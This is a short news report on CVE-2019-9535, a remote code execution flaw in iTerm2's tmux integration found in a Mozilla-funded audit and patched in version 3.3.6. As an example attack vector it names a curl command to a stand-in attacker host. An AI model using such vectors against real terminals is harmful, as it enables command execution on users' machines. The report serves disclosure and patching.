Tracked as CVE-2019-9535, the vulnerability in iTerm2 was discovered as part of an independent security audit funded by the Mozilla Open Source Support Program (MOSS) and conducted by cybersecurity firm Radically Open Security (ROS).
The iTerm2 macOS terminal emulator app is one of the most popular open-source replacements for Mac’s built-in terminal app.
“MOSS selected iTerm2 for a security audit because it processes untrusted data, and it is widely used, including by high-risk targets (like developers and system administrators),” Mozilla says.
The RCE vulnerability resides in the tmux integration feature of iTerm2, it could be exploited by an attacker to execute arbitrary commands by providing malicious output to the terminal.
The experts published a video PoC that shows how to exploit the vulnerability by producing output to the terminal. Possible attack vectors would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log.
Besides this, the flaw can also be triggered using command-line utilities by tricking them into printing attacker-controlled content, eventually allowing attackers to execute arbitrary commands on the user’s Mac computer.
The vulnerability affects iTerm2 versions up to and including 3.3.5 and has recently been patched with the release of iTerm2 3.3.6, which users can download manually or check for updates within your installed apps menu.